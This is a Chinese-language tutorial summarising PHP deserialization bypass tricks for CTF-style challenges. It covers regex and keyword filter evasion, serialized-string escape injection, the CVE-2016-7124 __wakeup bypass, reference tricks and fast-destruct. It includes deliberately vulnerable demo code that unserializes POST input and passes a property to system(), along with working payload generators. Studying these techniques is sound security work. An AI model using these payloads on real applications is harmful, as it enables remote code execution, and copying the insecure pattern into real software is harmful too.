php反序列化trick
没有总结过这个,现在写一篇总结
正则绕过
过滤数字:+
号绕过
1
2
|
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; //+号绕过
$b = str_replace('O:4','O:+4', $a);
|
过滤对象O:
:C绕过,例题忘了在哪里刷到过了
demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
highlight_file(__FILE__);
class test
{
public $key = True;
public function __wakeup()
{
$this->key = False;
}
public function __destruct()
{
if ($this->key === True) {
echo "bypass";
system($this->cmd);
}else{
echo "failed";
}
}
}
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
|
然后生成序列化字符串
1
2
3
4
5
6
7
8
9
|
<?php
class test
{
public $key = True;
}
$a = new test();
$a->cmd = "calc";
echo serialize($a);
// O:4:"test":2:{s:3:"key";b:1;s:3:"cmd";s:4:"calc";}
|
这里肯定是过不了的,wakeup最后执行会将key改回去
C:custom object 自定义对象序列化,实现了serializable接口的类在序列化的时候返回的字符串也是C开头的,利用这个可以绕过例如O:\d+
的这种正则
我们可以写个脚本找一下哪些类继承了serializable接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
$classes = get_declared_classes();
foreach($classes as $clazz){
$methods = get_class_methods($clazz);
foreach($methods as $method){
if (in_array($method,array("serialize"))){
echo $clazz."\n";
}
}
}
/*
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage
*/
|
所以我们这里可以使用ArrayObject
对正常的反序列化进行一次包装,让最后输出的payload以C开头
exp
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
class test
{
public $key = True;
}
$a = new test();
$a->cmd = "calc";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
// C:11:"ArrayObject":82:{x:i:0;a:1:{s:4:"evil";O:4:"test":2:{s:3:"key";b:1;s:3:"cmd";s:4:"calc";}};m:a:0:{}}
|
关键词绕过
主要用到的是s
改成S
,序列化字符串中S
会解析16进制
如果过滤了关键字admin
,可以将其替换
1
2
3
|
O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"admin888";}
替换后
O:4:"test":2:{s:8:"username";S:5:"\61dmin";s:8:"password";S:8:"\61dmin888";}
|
反序列化字符串逃逸
在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,但如果我们在序列化字符串后加随机字符串
1
2
3
4
|
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>
|
任然输出原来的结果,因为他读到}就停止了,不会读取}后的字符串
1
2
3
4
5
6
7
8
|
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
//a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
|
这里的function里面开头的"a
是为了序列化之后跟前面的"拼接
然后因为flag会被空替换,变成
1
|
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
|
本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a
,读取这24个字符后以";
结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则
最终结果为
1
2
3
4
5
|
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
|
这样就把原来不可变的Img给替换了
wakeup方法绕过
cve-2016-7124
- PHP5 < 5.6.25
- PHP7 < 7.0.10
现在几乎不可能用到
把生成的反序列化字符串中对象数量增加就行,例如我们生成的字符串为
1
|
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
|
改成
1
|
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
|
引用赋值&
在php里,我们可使用引用的方式让两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。
比如:
1
2
3
4
5
6
7
8
|
<?php
function test (&$a){
$x=&$a;
$x='123';
}
$a='11';
test($a);
echo $a;
|
输出:
可以看到这里我们虽然最初$a='11'
,但由于我们通过$x=&$a
使两个变量同时指向同一个内存地址了,所以使$x='123'
也导致$a='123'
了。
现在比如有这样的demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
class KeyPort{
public $key;
public function __destruct()
{
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}
public function __wakeup(){
$this->wakeup=True;
}
}
if(isset($_POST['pop'])){
@unserialize($_POST['pop']);
}
|
我们想要绕if(!isset($this->wakeup)||!$this->wakeup)
要么不给wakeup赋值,让它接受不到$this->wakeup
,要么控制wakeup为false,但我们注意到KeyPort::__wakeup()
,这里使$this->wakeup=True
;,我们知道在用unserialize()反序列化字符串时,会先触发__wakeup()
,然后再进行反序列化,所以相当于我们刚进行反序列化$this->wakeup
就等于True了,这就没办法达到我们控制wake为false的想法了
我们可以使用上面提到过的引用赋值的方法以此将wakeup和key的值进行引用,让key的值改变的时候也改变wakeup的值即可
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
class KeyPort{
public $key;
public function __destruct()
{
}
}
$keyport = new KeyPort();
$keyport->key=&$keyport->wakeup;
echo serialize($keyport);
#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}
|
fast-destruct
- 在PHP中如果单独执行
unserialize()
函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()
方法
- 而如果将
unserialize()
函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法
这里简单说使用方法,就是把生成的字符串最后的}
去掉就行了
或者在最后加个1也行
1
2
3
4
5
|
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";}
改成
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";
或者
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";1}
|
可以用来绕过一些比如throw new Exception
提前终止的最终题目